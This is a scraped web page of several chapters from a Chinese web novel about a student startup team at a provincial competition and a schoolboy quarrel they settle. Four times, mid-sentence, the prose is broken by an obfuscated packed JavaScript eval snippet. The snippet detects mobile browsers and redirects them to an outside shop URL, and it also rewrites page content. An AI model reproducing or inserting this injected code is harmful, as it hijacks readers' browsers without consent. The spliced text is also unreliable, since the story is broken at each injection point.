薛蕾问这话时，满脸都是一种天真的惊喜，她之前是和江涛提过自己也在练瑜伽，但他压根没放在心上。虽说薛蕾的反应可以暂时排除她俩故意设局的嫌疑，却也让江涛陷入了更尴尬的局面之中。 “对……对啊，但我那个妹妹她……她也来了，我家里还不知道我恋爱了，他们想等我工作后再……所以你等下可别露馅啦。” 这会儿，张岚正好去更衣室换衣服了，才没看到这一幕。待她出来后，便习惯性地想要上前挽住男友的胳膊，没想到对方却下意识甩开了她，还找补了一句： “岚岚，这儿人多，我们先去上课吧。” 张岚有些疑惑，但江涛好像就是这样的“害羞”，最近他俩根据家里的安排成为恋人，但在学校里或是一道外出逛街时，他总会避免一些亲密的举动，甚至都不好意思与张岚牵手，反倒在长辈面前时，才会表现得比较主动。 对于江涛而言，此时除了两位女友外，“灵犀”团队里的那些，大多是无关紧要的局外人，不过，薛蕾的表哥林龙揍过他，仍属“危险份子”行列。 但此时的林龙也顾不上他们这些破事了，虽然他常年锻炼，身体素质极佳，柔韧性也不差，但有些动作还是做不来，和郑虔、魏万他们一样的手忙脚乱。 这样的瑜伽课，大部分时间是各练各的，学员们此刻的注意力都在老师的口令和示范上，尽管薛蕾和张岚各自都会找机会和江涛进行眼神交流，但他应付得很好，看得一旁的樊欣只觉气不打一处来。 “接下来的这个动作，需要各位在现场找一个伙伴，两两配合着完成……” 台下的学员共计九人，是单数，媛媛学姐表示自己会下台来参与这一体式的练习，只是这个看似简单的组队安排，却难倒了江涛——此时他左边是薛蕾、右边是张岚，实属“左右为难”。 他呆在原地，脑中迅速地算计着，却还是没能想出最佳的解决方案。这时候，张岚却主动站了出来： “媛媛老师，不好意思，我突然想起——稍后家里有重要的客人，现在得赶回去了，真是不好意思……” 张岚走得很匆忙，都顾不上换衣服，直接和江涛、可可他们打了个招呼，披了件外套就朝外走去。见状，江涛立刻跟上，急切地追问着： “岚岚，是关局要来么，我最近有个专利想……” 见男友想要离开，薛蕾也立马想要追上去，林龙最见不得表妹这不值钱的样子，下意识想要上前阻止，却意外绊倒了一旁的樊欣，导致她直接撞向了角落的一堆器材…… 也不知是有意无意，她踹起的一根小哑铃直接撞向了江涛的膝盖，疼得他龇牙咧嘴的，瞬间失去平衡，跌到瑜伽室的小台阶上，脑门上磕出了一个大包。 当时，张岚早就头也不回地离开了，只剩薛蕾上前心疼地问道： “没事吧？” 此刻，瑜伽室内的众人也都停下了手里的动作，密切关注着江涛那头的动向，他虽然受伤了，但应该问题不大，还有力气回头愤怒地瞪向其他人，吼了一句： “谁？谁干的？！” 不等樊欣上前“自首”，徐可可就义正严词地回了他一句： “不是你自己不小心绊倒了么？这么多双眼睛都看着呢，是吧？” 就在江涛回头的一瞬间，众人已经开始躲避他的视线，假装忙碌；听到可可这么一问，都心领神会地表示附和，就连薛蕾都小声地安慰他说： “好像是你刚走得太急，才摔着了。” 江涛听她这么说，一脸怒气地指了指自己身前的哑铃和墙角那堆器材： “连你都睁眼说瞎话是吧？这哑铃是自己从那头飞过来的？” “可能刚才这边也放着一个吧，我没注意。” 既然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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剩下的可可和林龙，则留在原地待命，前者可以在线安抚伙伴们的情绪，为大家加油打气；大龙则可以趁这个机会回去管理一下自己在数码城的店铺，顺便去帮樊欣打听一下那台二手相机的事。 省赛定在Y市，距离G市大概三个小时的车程。在登上校方统一安排的大巴之前，每个团队需要举着写有自己项目名称的大旗合影留念，身为“黑马”的“灵犀”团队被安排在了最后一组。 和别组不同的是，可可和林龙也特意赶来参加了这次的合影。其他的大部分团队内部，也存在着激烈的竞争关系，这一次没能轮上去比赛现场的成员大多心怀不满，因而拒绝到场为队友们送行。 但“灵犀”，是一个真正的团队，这个队伍，离了谁都不行。这种身在团队中的安全感，之前的樊欣，好像从没有体验过。 30. 第30章 刚启程那会儿，大家都还很兴奋，叽叽喳喳地讨论着各自对于比赛的憧憬。 带队的校领导更是心情大好，直接戴上了不知从哪取来的话筒，要为大家吟诗一首，当他念到“人生得意须尽欢，莫使金樽空对月”时，车上的众人几乎异口同声地接了下去—— “天生我材必有用，千金散尽还复来。” 现场的反馈引得他心花怒放，高声说出了自己对于各个团队的期待： “在座的各位，都是G大的栋梁，相信你们一定能在此次省赛中取得优异的成绩，直接杀进国赛！尤其是我们的‘黑马团队’，更要好好珍惜这次机会哪！” “灵犀”又被点了，魏万立刻挺直了小身板，胸中热血沸腾，但专注如他，都能看到前排那个叫“洪健”的男生回过头，一脸轻蔑地朝着他们翻了个白眼。 一瞬间，魏万只觉血气上涌，这一回，大龙哥没来，得靠他这个小小男子汉来保护大家了……他一边想着，一边有种要站起来的趋势，却被身后的樊欣及时制止了： “坐下，这车开着呢，不知道危险啊？犯不着和傻子较劲。” 没想到，这话偏偏被她所指的“傻子”给听到了，只见洪健再次气鼓鼓地转身，开始翻起他那标志性的白眼，但这一回，他的视线恰好和校领导对上了： “这位同学，是眼睛不舒服么？” “没有，没有。” 用白眼误伤了领导的洪健，只得灰溜溜地转了回去，咬碎了牙往肚里咽。 待大巴行驶了一个多小时以后，大家都开始犯困了，樊欣压低音量接了个妈妈的电话，和家里报过平安后，却见邻座的铁军正直勾勾地看着自己，满脸羡慕的神色。 “怎么啦？” “没……没什么，就是觉得学姐你，好幸福啊。” “为什么突然这么说？” “我爸妈给我起这个名字，就是因为他们本来想要一个男孩儿。在我上头，还有一个姐姐，在我上小学那年，家里又多了个弟弟。我家条件不好，孩子又多，要不是我姐坚持，本来我都没有机会上大学的。” “这样啊……之前都没听你提过呢，那你姐姐一定很为你骄傲吧，她现在……” “她已经没了。” “没了？” 樊欣完全没想到，铁军会突然和自己聊起这样沉重的话题，不由得深吸了一口气，有点不知所措起来。 “对，我家里都说，女孩是‘赔钱货’，根本没必要读那么多书。姐姐没听家里的，用自己的积蓄给我交了学费。结果，她就被关在了家里。” “为什么要关着你姐姐，如果家里缺钱，按理说不该让她继续出去打工么？” “打工那些的，来钱太慢，他们想把她嫁给邻村的一个傻子，因为那样可以拿到一笔彩礼。当时，我已经来G大了，姐姐什么都没和我说，后来我才知道，她吞了一瓶农药……” “我的天……” “事后，家里还说，可惜她吞药吞早了，彩礼还没拿到。” 铁军在叙述这一切时，看起来非常平静，但两行清泪仍是落了下来，叫一旁的樊欣也红了眼眶。自小被父母宠着长大的她，很难想象铁军是怎么撑过来的，但总算明白了为何这姑娘被霸凌、被传谣时，根本无法从原生家庭中得到慰藉。 “你姐姐都不在了，还说这……这种话。” 樊欣听到这些，觉得心里很堵，又气愤又无奈，还很心疼铁军。 “学姐你会不会觉得，像我这种家庭背景的女生，还想着去学化妆什么的，很不合适。” “这有啥？每个人都有追求美的权利啊。” “我姐姐，之前是个化妆师，她总能把别人化得漂漂亮亮的，却没什么机会给自己打扮；我就想着，要是自己能学好这门技术，总有一天，也让姐姐漂漂亮亮的……” 樊欣不知该说什么，只能跟着一道默默流眼泪，也不知过了多久，铁军就这样依偎着樊欣进入了梦乡，梦中还轻声低喃着： “姐姐，我回来了……” *** 满载G大创新创业团队的大巴，停靠在Y大附近的一家宾馆门口。由于这次参赛团队数量庞大，Y大自己的招待所容纳不了这么多人，所以只能将参赛队分散安排到周边的宾馆里。 下车后，樊欣和铁军被分配到一间床铺特别小的标间，像是供人临时歇脚的那种，一翻身就会跌下去。但她们没去反应什么，因为就这么几天，忍忍也过去了，而且万一没有其他空房间，同组的郑虔和魏万一定会主动和她们换的，不想给队友添麻烦。 参加过现场的赛项说明会后，樊欣才意识到——这只是省赛的第一场，获得一等奖的队伍才有机会继续参加后期的选拔赛，组委会将大浪淘沙般筛选出最强的一批队伍，最终作为省里的代表去参加国赛。 也就是说，对“灵犀”而言，曾可望不可即的省赛赛场，其实只是第一关而已。 “你们应该安顿好了吧？赛项说明会结束了不？我都不敢打扰你们。” 刚开完会，樊欣他们就在群里看到了来自可可的问候，随手回了一句： “没问题，你们放心吧。” 而后，林龙也跟了一个表情包，是一只戴着“加油”头带的猫咪，在热舞。 “大龙哥，很少看到你发表情包啊？” 魏万也在群里冒了个泡，随即立马自顾自念念有词起来——他还在背诵汇报稿，尽管那些词句已经烂熟于心，他仍是不敢掉以轻心。 或许是刚和樊欣分享过自己的经历，并且得到了她的理解，这会儿铁军看上去状态还算稳定；反倒是郑虔，明明一刻不停地抱着手机打字，却都没见他在群里发声。 “老郑，你不会开始紧张了吧？” 由于这家伙的“老干部”气质越发明显，哪怕他的年纪在团队里并不算大的，大家还是习惯喊他“老郑”，但这会儿，他压根没空搭理樊欣，只是继续忙着自己的事。 到了晚上，樊欣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047856|134783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们吃过盒饭以后，便早早回房休息，想要为第二天的比赛好好养精蓄锐。 然而，不知是这小床睡起来太不舒服，还是想到次日的这场“大战”难免紧张，樊欣到了凌晨都翻来覆去的睡不踏实。 更没想到的是，都这么晚了，她还看到自己的手机亮了一下，应该是接到了新的消息。还好静音了，应该没把铁军吵醒，她轻手轻脚地把手机拿进被窝里，却发现是魏万发来了新消息： “学姐，郑虔学长说要出去一趟，但到了现在还没回来，我有点担心……” 看到消息的内容，樊欣一时没忍住，直接掀开被子，坐了起来。 “什么？他有没有说自己要去哪儿，后来你联系过他吗？” 还没等到魏万的回复，一旁铁军的声音就先响了起来： “学姐，你也睡不着么？” *** 这一晚，注定是个不眠之夜。 为了不让留守G市的伙伴担心，他们都默契地没有在群里发消息，而是分别通过自己的方式联系郑虔，可惜对方都没有回复。 这家伙，一到关键时刻，又掉链子了？ 想到校赛答辩时的尴尬，魏万和铁军都非常紧张，樊欣则开始温习项目中的技术环节，想着实在不行的话，能不能和主办方商量一下临时换人，自己来顶上。 等到凌晨两点，郑虔总算给樊欣回了电话： “不好意思啊学姐，我家有亲戚在Y市，正好今晚出了点情况，喊我过去帮忙处理一下。” “我们都要急死了……你家里没事吧？什么时候能赶回来啊？” “请大家放心，出门在外，最重要的就是‘信义’二字，我一定不会耽误比赛的。” 这台词，怎么听上去这么耳熟呢？哦对了，郑虔在校赛前也是这样承诺大家的，结果还是没赶上，想到这点，樊欣心里直发慌，却拿他一点办法也没有。她想劝魏万和铁军抓紧时间休息，可他们哪里睡得着啊？ 好不容易熬到了凌晨五点多，樊欣才接到了郑虔的消息： “我到啦，魏万那小子竟然还没睡。这次都是我的错，害大家担心了，明天请你们吃饭。” 见他总算是赶了回来，樊欣和铁军也说了一声，这才放心地合上了眼，只觉得非常疲倦。可惜，他们才刚刚休息了一个多小时，闹钟就响了。 大家根据原计划，一起去吃自助早餐，顺便再确认一遍赛项流程。因为几乎一夜没睡，“灵犀”团队在一片生龙活虎、跃跃欲试的年轻队伍里，显得无精打采的，只有郑虔这个“罪魁祸首”还在强撑着： “我好像并没有想象得那么困哎，你们也还好吧？” 其余几人都困得没力气搭理他，只是机械地朝嘴里塞着食物，十分钟后，他们就将坐上大巴，一起前往Y大的集合点抽签，并按照抽到的顺序进行路演汇报、完成答辩。 “老郑，呆会儿你去抽签啊，争取抽个靠后的数字，那样的话，我们还有时间补觉。” 31. 第31章 等待抽签的那间教室里，挤满了人。 唐老师因为工作的关系，当天才赶到现场，刚与樊欣他们会和，就看出了不对劲的地方： “大小姐，你们这是……变身‘国宝’了啊？一个个黑眼圈都这么重，是太紧张了没睡好？” “那倒也不至于……” “没关系，没关系！之前我们不是都没想到这次能晋级省赛吗？已经很不错了，别太有压力。” 唐老师干劲满满，忙着鼓励大伙儿这会儿，郑虔昂首挺胸地回来了，傲娇地摊开手心，向大家展示自己抽到的序号： “明天，才轮到我们上场！” 瞧他那架势，仿佛把自己当成了救世主一般，弄得唐老师一头雾水： “难道，抽签的次序有这么重要？” 当下，对于“灵犀”团队而言，上场的时间确实重要，因为这会儿，他们总算可以放心地回去补觉了…… *** 尽管仍然睡不踏实，但休息了一下，大家的精神状态都好了不少。樊欣设置了午餐时段的闹钟，摇醒铁军后，再和她一道去敲郑虔他们的房门。 等大家再次见到唐老师时，却发现对方竟然累得满头是汗。原来，就在他们几个睡回笼觉那会儿，靠谱的唐老师已经摸清了赛场的各种情况，并就比赛时需要注意的细节叮嘱了一遍。重点是，她还告诉大家： “今天下午，比赛就正式开始了，但参与初赛的团队众多，主办方设置的观摩席位有限，因而指定了每个团队的指导老师到场观赛。但你们放心，我会好好做笔记，今晚回来后，就和你们一起分析战局！” 听上去，唐老师的状态非常热血，樊欣他们本打算午饭后就一起去观摩其他团队的汇报和答辩的，现在临时接到这样的通知，倒有点不知所措了。 “咱还要继续修改汇报材料么？” 魏万看起来有些无助，说实话，这种考察现场表现的比赛，和一些考试类似，主要看平时的积累，临近上场前，再反反复复修改的话，可能反而弊大于利。 况且，对于汇报人而言，每一次改动都是一种挑战，要是改得太多，可能会导致汇报人上台后思维混乱、前后颠倒，甚至脑袋里像断片那般一片空白的情况。 “别改了吧，我们都已经准备得差不多了。” 樊欣的这一提议，也得到了唐老师的支持。因为场地有限，几人领到盒饭后，只能带回各自的房间用餐。这一次的盒饭，是G大创新创业部门的舒老师安排的，完全不合郑虔的口味： “茄子……青椒……不是吧？！又是全素的，这谁受得了？而且就两个菜……再不济，给我加个土豆，凑个‘地三鲜’也成啊！” “学……学长别动气，你要是吃不饱的话，我分点给你啊？” “我不要，都是素菜也就算了，还做得这么难吃，昨晚那顿也是，齁咸！不行，我要去看看她俩拿到了什么菜，会不会和我们不一样啊？” 说罢，郑虔这小胖子就气鼓鼓地跑去敲樊欣她们的门了，魏万眼看自己也拦不住他，只能赶紧跟上。 没想到，她俩的情况还不如郑虔他们呢——樊欣那份盒饭里的茄子是焦的，铁军则领到了两份大白米饭，都没有菜。 “我说……这都什么情况啊？” “学长，没……没关系的，我去换一下吧，欣姐，你要一起么？” “没事儿，凑合吃吧，反正我也没什么胃口。” 于是，铁军下楼去找舒老师重新领了一份菜，回房打开了饭盒，却引来众人一片哗然： “我去！这么多牛肉啊……” “不带这样区别对待的，不行，我得找她问问清楚！” 饥饿状态的郑虔看起来异常凶猛，魏万用尽了全力，才在樊欣和铁军的帮助下拖住了他。 “你去找她有什么用呀？军儿刚看到了，多出的盒饭就那么两份，其他都给吃掉了，无凭无据的。再说了，没听唐老师说嘛，这里有几个校里看好的项目，创新创业部门的老师都在里头挂名了，人家照顾一下自己的团队，也无可厚非。” “他们那是‘以权谋私’！我不服！我不吃！” “学长，要不你吃牛肉的这份吧。” 见铁军主动把自己刚换来的盒饭让出来，郑虔嘴上拒绝着，肚子却忍不住“咕咕”叫了起来。幸好，他的手机铃声同时响起，暂时打破了现场的尴尬。 “什么情况啊？不用担心……我知道……但现在……” 接起电话的郑虔，瞬间跟变了个人似的，变得温柔而富于耐心。但他不知有何难言之隐，一边说着，一边还不时看一眼身边的几位同伴，终于像下定了决心似的回了对方一句： “行吧，我知道了，放心好了。” 放下手机，还不等其他人发问，郑虔率先开口问道： “要不，咱们出去吃吧？正好欠你们一顿饭呢，咱也整点当地特色尝尝。” 原本，大家还想找唐老师一起吃饭，但下午的比赛不久后就要开始了，她不能错过，就先婉拒了，但有点迷惑： “要说你们不慌吧，昨晚都为比赛焦心呢，觉都睡不好；但要说你们紧张吧，隔天就比赛了，还有心思出去找好吃的……年轻人，还真是可爱啊。” *** 没多久，一行人就来到了一家名为“春风茶社”的老字号楼下。 “学长，你这是，带我们喝茶来了？” 魏万一脸迷茫地眨巴着大眼睛，眼神中透出一股“清澈的愚蠢”。 “这儿可不是你以为的那种茶馆，是吃饭的地方，我之前来过。” 其实，樊欣关于这家饭店的回忆，属于她的另一段人生。在穿越过来之前，她曾到Y市出差，顺道来此品尝了一下颇具特色的当地美食。 不过，在场的几位对樊欣之前的经历并不了解，并且，两个平行时空中的春风茶社也非常相似，因而就算说漏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078221|134783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了嘴也无妨。 而此刻的郑虔，根本顾不上参与旁人的讨论，因为他是真的饿了： “先来四份蟹黄汤包，还要大煮干丝、水晶肴肉、酥炸虾球、五香牛肉、糖醋里脊、千层油糕、翡翠烧麦、特色炒饭……对了，蟹粉狮子头也不错，一人一份。先这些吧，不够再加。” 果然，人在饥饿的状态下容易失去理智，要不是樊欣他们在一旁不停念叨着“够了”、“真的够了”……郑虔怕是能点下整本菜单。 当其他人还抱着铺满了整个笼屉的汤包，用吸管品味蟹粉味的汤汁时，郑虔已经干完了半盆炒饭了。他一边感叹着“总算活过来了”，一边伸了个大大的懒腰，正当众人以为他打算饭后回Y大休息时，郑虔却说： “等下我们应该没什么任务吧，大伙儿能不能陪我去趟玩具城？对了，我还要打包一份三丁包……” *** Y市玩具城规模很大，闻名亚洲，当然，这儿不只有玩具，还有首饰、服装、工艺品等物件，相关产品辐射全国城乡，甚至是全球玩具市场。 “学长，你……你还挺有童心的啊……” 走在郑虔身后的魏万，替他抱着一个巨大的库洛米娃娃，走得磕磕绊绊，赶去驿站寄件。 只因樊欣嘀咕了一句“可可最喜欢库洛米了”，郑虔二话不说，就买下了。 “可可学姐和大龙哥这次没能一起过来，是挺可惜的，我们要不再给大龙哥也挑个礼物？” 铁军试探性地征询着大家的意见，但他们目前身处“娃娃专区”，满眼看去，啥都和林龙搭不上边，于是，樊欣提议： “不如，我们去服装专区看看吧，正好‘灵犀’还没有自己队服呢！” 当初他们这支队伍是临时从网审中脱颖而出的，因而没赶上G大统一定制服装的机会，若是能在这片商城中挑到合适的，也不错。 只可惜，这儿的服装风格大多都很卡通，他们好不容易在一堆带着动物耳朵或是满印大花的衣服中找到了一款相对低调的——孔雀蓝底色，正面一角有只举着相机的小棕熊，背面是净版，既简单大方，又与“灵犀”项目的主题契合。 于是，在简单统计过团队成员的尺码后，铁军用摄影工作室的收入购置了“灵犀”的第一版队服。大家都很满意，只有樊欣突然停了下来，怔怔地望着手中的衣服出神。 之前，在校赛结束以后，她相机所预言的场景中，大家不就穿着这套衣服嘛？一瞬间，樊欣只觉自己起了一身鸡皮疙瘩——这平平无奇的相机，到底有什么魔力，它的预言简直精准得可怕。 不过，转念一想，照片里的各位伙伴都笑得那样开心，这也使樊欣对明天的比赛更有信心了。好歹，“保三争二”，只要能拿到一个荣誉，也算是不虚此行。 但买完衣服后，郑虔仍然没有打道回府的意思，而是淡淡地提出了新的诉求： “等下，大伙儿再陪我去见个人吧？” 32. 第32章 这两天，郑虔都有些神神秘秘的，情绪还不太稳定。况且，他既是“灵犀”的主力，又是大家的朋友，樊欣他们自然不会拒绝他的要求。 也是这时候，大伙儿才明白为啥郑虔会带着他们来玩具城这边，原来他要见的人，就是附近一所小学的学生，即他的大外甥——胡窦，小名胡豆豆。 前一晚郑虔突然外出，也是因为这孩子。 胡豆豆是郑虔姐姐的孩子，平时和爷爷奶奶一起在Y市生活。郑虔的姐姐、姐夫，也就是豆豆的父母，常年在国外工作，忙得顾不上带娃，就知道给家里打钱。 豆豆这孩子长期缺乏父母关爱，在校时又因“爱显摆”被几个坏学生霸凌，因此提前进入了叛逆期，突然玩起了失踪。 他的爷爷年纪大了，急得血压飙升，奶奶便哭着打越洋电话求助。虽说远水救不了近火，但恰巧郑虔来了Y市还发了条朋友圈，姐姐看到后，便半夜把他喊起来，找豆豆去了。 当晚，郑虔打了辆车，转到后半夜，才在玩具城的一处台阶上找到了自己的外甥。凌晨时分，有几家店铺还亮着灯，忙着盘货，但大部分地方黑漆漆的，豆豆不怕黑，也不怕那些坏学生，只是常常觉得心里头堵得慌。 郑虔的姐姐比他年长不少，两人之间多少有点代沟；而郑虔和豆豆呢，一个大学生，一个小学生，同时还差着辈分，因而两人之前一起玩过，但很难玩到一块儿去。 可这一次，当胡豆豆看到晨曦中，向自己走来的郑虔，仿佛看到了一个赶来拯救自己的英雄。一时间，积压已久的委屈和悲伤喷涌而出，他竟哭着奔了过去，抱着舅舅不愿撒手，把郑虔的心都给哭化了。 于是，第二天，也就是现在，郑虔决定带着伙伴一道，来替外甥出头。 *** 等见到胡豆豆以后，魏万才明白那份三丁包是给他带的，本以为郑虔塞了那么多食物都没吃饱，还有点吃惊。 “这些有点凉了，没关系吧？” 面对外甥时，郑虔还是很细心的。 “没事儿，其实我不爱吃这种包子，奶奶经常给我买，有点腻了。但我现在得吃点东西，等下战斗时才有力气。” “豆豆，你说的‘战斗’……是什么意思？” 樊欣看看胡豆豆，又看看郑虔，只觉得非常迷惑，难不成，他们还要和小学生打架？ “那帮家伙……说什么要借我的手机玩两天，其实就是抢劫！他们上次就想在校门口堵我，正好那天爷爷来接我了，他们才没得逞。哼！今天又想对我下手，幸好我的情报人员上厕所的时候听到了关键信息，提前给我通风报信来了……” 怪怪，小学生之间的恩怨情仇，搞得跟出演谍战片似的。但樊欣想到，十年前的话，智能手机在小学生之间的普及率还没那么高，可能就是因为这个，胡豆豆才会被其他同学盯上的吧。 在接到他的求助电话之后，郑虔便将备赛的事放在一边，带着“灵犀”的几位干将一起来给外甥撑腰了。 就在豆豆吃完包子后没多久，樊欣他们看到不远处的四个孩子正气势汹汹朝他们的方向赶来，甚至……甚至还自带BGM。 等他们走近之后，这头的几人才发现，是来人中的小个子首领将MP3调成了功放模式，正一路播放着属于他们的“战歌”。 在樊欣穿来之前的那个时代，MP3基本属于古董级别的了，堪称“时代的眼泪”。来不及回味现场听到的古早金曲，她就被几个小学生的状态给镇住了。 一开始，樊欣还以为欺负胡豆豆的那几个孩子，会是那种人高马大的类型，没想到，四人中除了一个和自己一般高，但瘦得跟竹竿似的男孩外，其余三个都是和豆豆体型相似的“小鼻嘎”。 但在见到以郑虔为代表的几位“大人”之后，这个“小□□”毫不畏惧，甚至开始了挑衅： “胡窦，你到底还是怕了！但你以为自己能找来这些‘残花败柳’，就能对付得了我们？” “小朋友，不好意思打断一下，你刚想说的是不是‘虾兵蟹将’？” 虽说这个场合用不着如此较真，但魏万还是忍不住出言纠正了一下他们，以防他们日后参加语文考试时，会因此失分。 “谢谢兄弟的提醒，但……” “谁说他是你兄弟的？他们几个，都是我的兄弟！” 没想到，那小首领还听讲礼貌，但胡豆豆立即对他不够严谨的称谓表达了不满。 此时的郑虔，捏紧了拳头；一旁的魏万，却因小学生们争相抢做自己的兄弟而暗爽；还有樊欣和铁军，只觉得好久没看到小学生吵架了，可真有意思。 “你的就你的，你以为我稀罕嘛？看你找来的这几个，能有什么战斗力？大胖子、瘦男人、瘦女人……还有这个，漂亮女人，一看就不是我们‘飞拳帮’的对手！” 小首领一边说着，一边挨个“审判”了“灵犀”团队的各位，轮到自己时，樊欣还想着不知对方会用什么词来形容她，并随时准备反击，没想到他指到自己时，竟切换了个好词，倒把她给整不会了。 “呵呵，你可别忘了，他们比你们，老了多少岁！” 也不知胡豆豆到底怎么想的，竟然用最狠的表情和语气，“攻击”起了自己人。这一刻的樊欣，都有点不想站在他这边了。 “那又怎样？看来，不给你点颜色瞧瞧，你真是不知‘飞拳帮’实力的深浅。兄弟们，上！” 小首领话音刚落，这所谓的“飞拳帮”真的朝他们冲来，很快便和郑虔他们扭打在一起。但这几个孩子还算讲原则，他们看樊欣和铁军是女孩，并没有向她俩发起攻击。 “欣……欣姐，我没看错吧？他们真的……真的和小学生打起来了？” “我……我们是正当防卫！我们是正义的！” 听到铁军的问题，郑虔还能从一团混乱里抽出空闲，替自己和魏万正名，与此同时，他的魏老弟，倒有点撑不住了： “快！快帮帮我们！或者……或者帮我们报警！” “报警咋说呀？说你们在和小学生打架，而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114374|134783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有可能会输吗？” 樊欣只觉得他们现在的状态有点好笑，她可完全没有上前帮忙的意思，甚至还有闲心拿起相机，趁乱为他们留下了一张“珍贵影像”。 这一次，相机又开始施展魔力——自行生成的“预言照片”中，不远处的那群人停止了“斗殴”，一个个都是乖乖低头听训的状态，预言的时间，显示为五分钟之后。 于是，樊欣明白——自己该上场了。 她先清了清嗓子，继而直接朝着那团混沌喊了一句： “够了！我已经把你们打架的样子拍下来了，赶紧停手，听我说两句！” 樊欣也清楚，这个年纪的孩子，大多听不进传统的大道理，她便结合自己刚才被对手夸赞后的心路历程，反其道而行之： “这位少侠，应该就是‘飞拳帮’的帮主吧？你一看就很有胆识，为何不把帮派的实力用在正道上呢？” “学校本来就不让用手机，我们就是‘正道’！” “你说的，在理。但学校为什么不让你们玩手机呢，是怕你们影响学习。据我所知，豆豆用的是最新款的橘子手机，里面有不少程序，可以帮助你们背单词、做数学题，还可以教你们写作文，甚至……” “甚至什么？” 小首领还真被樊欣的话给唬住了，一脸急不可耐地追问着。 “甚至能用这手机学些拳脚，来壮大‘飞拳帮’的实力，要我看，你身后这位高个子的少侠，身材挺拔；还有另外两位……” 另外两个孩子非常普通，樊欣一时找不到合适的褒赞，只能说： “另外两位，看着也非常有潜力。但是你们这个帮派，还缺了个技术专家，要是你们能和豆豆化敌为友，就能在课后，一起用他的手机学习。这样一来，啧啧啧，‘飞拳帮’的前途，简直不可限量呐！” 众人听到这里，都乖巧地低下了头，在刚在的争执中，他们不至于负伤，但一个个蓬头垢面的，还努力拧眉思索的样子，真叫人忍俊不禁。 樊欣看得出来——他们在听过自己的建议之后，确实对这个方案心动了。 “胡窦，加入‘飞拳帮’可不是什么容易的事，你需要通过三重考验……” “你觉得，我会因为小小考验知难而退？太小瞧我了！你就直说吧，考验，什么时候开始？” “择日不如撞日，现在，就是个不错的时机。” “那就，请吧……胡某，奉陪到底。舅舅，我现在有要事在身，需要先走一步。” 没想到，现在的小学生，说起话来一套套的；而郑虔更是没想到，替外甥“伸张正义”的任务，会以眼下这种方式解决。 待他们走出一段距离之后，樊欣才终于憋不住，放声大笑起来，郑虔和魏万也各自挠了挠头，转眼看到对方和小学生“搏斗”后衣衫不整的样子，也忍不住跟着笑了起来。 此时，只有铁军笑不出来，她正看着手机里的消息出神，不知从什么时候开始，她的双眉又开始打结，眼神中也写满了不安…… 33. 第33章 “军儿，你没事吧？” 樊欣也注意到了铁军的异常，一开始还以为她是遭到了小学生的冒犯，所以有点不开心，但回忆了一下，那小首领对她的评价只是“瘦”而已，应该不至于呀…… “没事，我只是觉得——小朋友的世界好单纯呀，就算被欺负了，他们也能这么快就和好。有时候我都觉得，有点羡慕。” “不用羡慕那小子啦，我们一起再去吃点好的，心情就更舒畅啦！” 郑虔刚打完架，消耗了不少体力，这会儿已经在研究晚饭上哪儿吃饭了，但他的“战友”魏万似乎还不太饿，在一旁有点不可思议地问道： “学长，中午那些我还没消化完呢，咱又要开吃了嘛？” *** 郑虔将晚饭选在了Y市老街的一家烧烤店，倒不是他多么“独断专行”，只是在吃这方面，他确实比较有研究，所以樊欣他们都愿意听他的。 他们点了些自己爱吃的串儿，还准备为唐老师打包一些饭菜带回去。 “咱们这样，会不会有点太放松了啊？唐老师说其他团队就算比完了，都不敢离开Y大，更别提我们这种明天就要上场的队伍了……但她好像也不怎么担心，还说我们心态挺好的……” 一开始，樊欣还想着要劝几位伙伴别过分紧张，没想到郑虔有种远超她预期的松弛。好在他们的指导老师比较开明，要换了别人，樊欣会以为那句“心态好”是在阴阳他们，但唐老师不是这样的人。 “哪里放松了？你看小魏，不一直背着呢嘛？” 郑虔朝一边努努嘴，樊欣这才发现——魏万正利用一切碎片时间，反反复复练着汇报稿呢。对他来说，前期准备材料时，参与感并不强；现场的汇报，才是他真正能为团队效力的时候，因而特别用心。 还有铁军，不知她到底在想着什么，依旧一副愁眉不展的样子，郑虔点了一桌吃的，她都不太感兴趣，只是怔怔地盯着手机出神。 “军儿，你在看什么呢？” 樊欣轻轻的一句问候，却把对方惊得一激灵，还立刻收起了手机，一脸心虚的样子。倒是正气定神闲吃着羊肉串的郑虔，一语道破天机： 